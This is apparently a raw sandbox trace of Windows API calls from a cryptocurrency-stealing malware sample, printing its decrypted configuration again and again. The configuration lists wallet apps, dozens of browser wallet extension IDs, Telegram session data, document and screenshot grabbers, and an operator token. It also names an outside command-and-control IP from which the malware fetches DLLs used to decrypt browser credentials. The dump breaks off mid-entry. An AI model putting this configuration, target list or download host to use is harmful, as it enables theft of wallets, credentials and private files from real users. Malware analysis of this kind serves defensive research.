Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5279 [0257.974] LocalFree (hMem=0x6b82f0) returned 0x0 [0257.974] LocalFree (hMem=0x6b7000) returned 0x0 [0257.975] LocalFree (hMem=0x6b9720) returned 0x0 [0257.976] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.977] StrCpyW (in: psz1=0x6b67f8, psz2="http://51.195.166.178/" | out: psz1="http://51.195.166.178/") returned="http://51.195.166.178/" [0257.978] LocalFree (hMem=0x6a55e0) returned 0x0 [0257.979] LocalFree (hMem=0x6b5660) returned 0x0 [0257.981] LocalFree (hMem=0x6b57f0) returned 0x0 [0257.981] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b7000 [0257.981] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6cdf00 [0257.981] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x6cdf00 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0257.982] lstrlenW (lpString="Low") returned 3 [0257.982] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0257.982] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6db988 [0257.982] StrCpyW (in: psz1=0x6b7000, psz2="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" [0257.983] LocalFree (hMem=0x6db988) returned 0x0 [0257.983] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.983] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6e4288 [0257.984] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0257.984] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension 